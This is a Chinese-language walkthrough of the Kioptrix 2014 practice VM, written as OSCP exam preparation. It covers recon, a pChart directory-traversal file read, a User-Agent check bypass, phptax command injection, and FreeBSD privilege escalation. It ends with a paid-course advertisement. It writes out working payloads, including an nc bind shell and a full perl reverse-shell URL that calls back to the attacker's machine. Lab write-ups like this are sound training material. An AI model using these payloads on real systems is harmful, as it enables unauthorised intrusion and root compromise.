oscp备战系列-Kioptrix2014

文章目录

一、信息收集

  1. 主机探测

    nmap 192.168.30.0/24 -sP

  1. 端口及版本探测

    nmap 192.168.30.199 -sV

可以看到开放了80,8080端口,采用apache 2.2.21 mod_ssl2.2.21 openssl0.9.8q WebDAV2 php5.3.8

OS: FreeBSD,22端口关闭的

  1. 指纹探测

    whatweb -v 192.168.30.199

从summary可以看出跟我们端口服务探测的结果差不多,唯一关注的是重定向路径pChart2.1.3/index.php

有两个重定向路径的指纹探测报告,分别是

http://192.168.30.199/pChart2.1.3/index.php
http://192.168.30.199/pChart2.1.3/examples/index.php
  1. 目录扫描

    dirb http://192.168.30.199 -N 403
    sudo dirsearch -u 192.168.30.199 -x 403

没有扫出什么目录和文件,但是我们已知有一条重定向路径指向目录pChart2.1.3,所以我们扫描一下该目录

sudo dirsearch -u http://192.168.30.199/pChart2.1.3

查看扫描出来的文件,主要关注的是readme.txt,拥有一些关于pChart信息,包括版本信息,作者 ,以及相关文件结构

  1. Web页面信息

80端口仅有一个It works

8080端口显示forbidden

重定向页面

拥有一些图表

从上述收集的信息来看没有什么价值的,好像只能通过指纹探测获取的信息来查看是否有历史漏洞

二、漏洞探测

  1. pChart

使用searchsploit探测pChart的漏洞

searchsploit pChart

搜索出来一个,并且刚好符合版本,根据exp标题是多个漏洞,描述在了31173.txt里,复制31173.txt到当前目录

searchsploit 31173 -m

查看漏洞描述

cat  31173.txt

可以看到漏洞标题为目录穿越和反射型xss,我们可以关注一下目录遍历,已经给我们例子了,穿越读取了 /etc/passwd,观察路径/examples/index.php刚好就是我们重定向的路径,直接复制payload访问

可以看到成功读取,可以发现到FreeBSD的版本信息9.0.0,以及一些用户数据(应该用不上,ssh关闭了)

查看apache的配置文件

路径:/usr/local/etc/apache2x/httpd.conf x代表版本号,我们apache版本是2.2.21,所以看apache22

http://x.x.x.x/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf

SetEnvIf指令根据客户端的请求属性设置环境变量

也就是说客户端访问8080端口需要以红框标的user-agent去访问,我们可以通过抓包改包实现

原本我这里是5.0,改成4.0放包即可

成功访问,有一个phptax,同样要改变user-agent访问

第二个数据包也要改为4.0,其中请求的路径/phptax/drawimage.php

成功访问

  1. FreeBSD

查看FreeBSD 9.0版本是否存在漏洞

searchsploit freebsd 9.0

有存在漏洞及利用脚本,但是两个都是涉及权限提升,可以后续获取shell之后使用

  1. mod_ssl

查看mod_ssl的漏洞

searchsploit mod_ssl  2.2

我们前面探测到的mod_ssl是2.2.21 < 2.8.7,可以尝试进行利用,我们选择47080.c脚本进行利用,在Kioptrix level 1 里有用到过,但是运行发现没有符合freebsd apache2.2.21版本

  1. phptax

查看一下phptax漏洞

searchsploit phptax

有两个远程代码执行漏洞,复制查看25849.txt看看

searchsploit 25849 -m
cat 25849.txt

可以看到exp对应路径是index.php,但我们刚才所在路径为/phptax/drawimage.php

查看另外一个21665.txt看看

可以看到符合我们刚才所在的路径,并且还有一个利用payload,貌似是配合nc正向shell

payload解读出来

nc -l -v -p 23235 -e /bin/bash;        //在23235端口启用正向shell
;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

三、漏洞利用

  1. 反弹shell

我们先在kali启一个nc监听

nc 192.168.30.199 23235

然后打进payload

试了几次都没有回连,应该是目标靶机没有nc,那按照这个思路尝试其他的反弹shell

kali监听

nc -lvp 4444

然后尝试不同反弹shell payload,这里为了方便,使用hackbar,最终反弹shell成功,使用的perl命令,命令如下:

http://192.168.30.199:8080/phptax/drawimage.php?pfilez=1040pg1.tob;perl -e 'use Socket;$i="192.168.30.176";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';&pdf=make

payload需要进行url编码,如下图:

成功反弹


四、后渗透

  1. 收集信息

操作系统为freebsd 9.0 和我们刚才已知一样,用户为www,权限不高,有nc,没python,但是刚才nc正向shell没弹,不知道啥原因

  1. 提升权限

刚才我们有查询到 freebsd 的提权脚本

分别是28718.c和26368.c,尝试一下内核提权脚本28718.c,将其复制到当前目录然后尝试编译一下

报错没有cpufunc.h头文件,先将c文件传到目标靶机,由目标靶机编译试试,刚才注意到有nc,可以用nc传文件

靶机: nc -v -l 8888 > 28718.c
kali: nc 192.168.30.199 8888 < 28718.c

但是好像传输失败了,原因是目标靶机端口未放通,我还尝试了80和8080也是失败

查询资料发现可以使用fetch传输

先在kali起一个python服务

然后靶机fetch接收

编译执行,报错

尝试另外一个脚本26368.c

成功提权


近期泷羽推出oscp培训,价格实惠,只需要4000,学生还可以优惠500,可以分期,培训六个月,提供官方教材,以及带着刷众多靶机(大约200多台),每天都有直播教学,以及录播,有想考oscp证书意向的师傅可以私信我,也可以扫描海报二维码进行咨询

文章原创,欢迎转载,请注明文章出处

相关推荐
siy233320 分钟前
[c语言日寄]C语言类型转换规则详解
c语言·笔记·学习
向上的车轮33 分钟前
OpenEuler学习笔记(十七):OpenEuler搭建Redis高可用生产环境
linux·redis·笔记·学习
醉暮天1 小时前
2.8学习记录
学习
siy23331 小时前
[C语言日寄] 源码、补码、反码介绍
c语言·开发语言·笔记·学习·算法
_Eden_2 小时前
Docker技术相关学习三
java·学习·docker
然然阿然然2 小时前
2025.2.1——八、Web_php_wrong_nginx_config
网络·学习·安全·网络安全·php
qq_243050793 小时前
sslh:多协议端口复用工具!全参数详细教程!Kali Linux 教程!黑客渗透教程!
linux·web安全·网络安全·黑客·渗透测试·信息收集·kali linux
马船长3 小时前
CTFHub信息泄露PHPINFO
学习
look_outs3 小时前
PyQt4学习笔记2】Qt 的 Model/View 架构
数据库·笔记·python·qt·学习·架构·pyqt
Lang_xi_3 小时前
SQL入门到精通 理论+实战 -- 在 MySQL 中学习SQL语言
sql·学习·mysql